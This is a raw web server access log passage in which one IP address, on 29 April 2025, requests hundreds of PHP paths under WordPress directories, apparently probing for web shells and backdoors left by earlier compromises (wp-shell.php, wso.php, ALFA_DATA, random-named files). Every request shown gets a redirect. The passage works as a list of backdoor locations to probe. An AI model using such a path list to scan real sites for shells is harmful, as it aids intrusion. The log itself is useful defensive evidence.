/wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:22 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:23 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:23 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:24 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:24 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:25 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:26 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:26 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:27 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:27 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:28 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:29 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:29 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:30 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:31 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:31 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:32 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:32 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:33 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:33 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:34 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:35 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:35 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:36 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:36 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:37 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:37 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:38 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:39 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:39 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:40 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:40 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:41 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:42 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:42 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:43 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:44 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:44 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:45 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:46 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:47 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:47 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:48 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:49 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:49 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:50 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:51 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:51 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:52 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:52 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:53 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:53 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:54 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:54 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:55 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:56 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:56 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:57 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:57 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:58 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:58 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:59 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:00 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:00 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:01 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:01 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:02 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:03 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:04 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:04 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:05 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:06 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:07 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:07 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:08 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:09 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:09 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:10 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:11 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:11 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:12 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:13 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:13 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:14 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:14 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:15 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:15 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:16 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:17 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:17 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:18 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:18 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:19 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:19 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:20 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:21 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:21 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:22 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:23 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:23 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:24 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:24 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:25 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:25 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:26 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:26 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:27 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:28 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:28 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:29 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:29 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:30 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:30 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:31 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:32 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:33 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:33 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:34 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:35 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:35 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:36 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:37 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:37 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:38 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:38 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:39 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:39 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:40 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:41 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:41 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:42 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:42 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:43 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:43 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:44 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:44 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:45 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:45 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:46 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:47 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:47 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:48 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:48 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:49 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:49 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:50 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:51 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:51 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:52 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:52 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:53 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:53 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:54 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:54 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:55 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:55 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:56 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:57 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:57 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:58 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:58 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:23:59 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:00 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:00 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:01 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:02 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:02 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:03 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:04 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:04 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:05 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:05 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:06 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:06 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:07 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:07 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:08 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:08 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:09 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:10 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:10 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:11 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:11 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:12 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:12 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:13 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:13 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:14 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:14 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:15 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:16 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:16 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:17 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:17 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:18 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:18 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:19 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:19 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:20 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:24:21 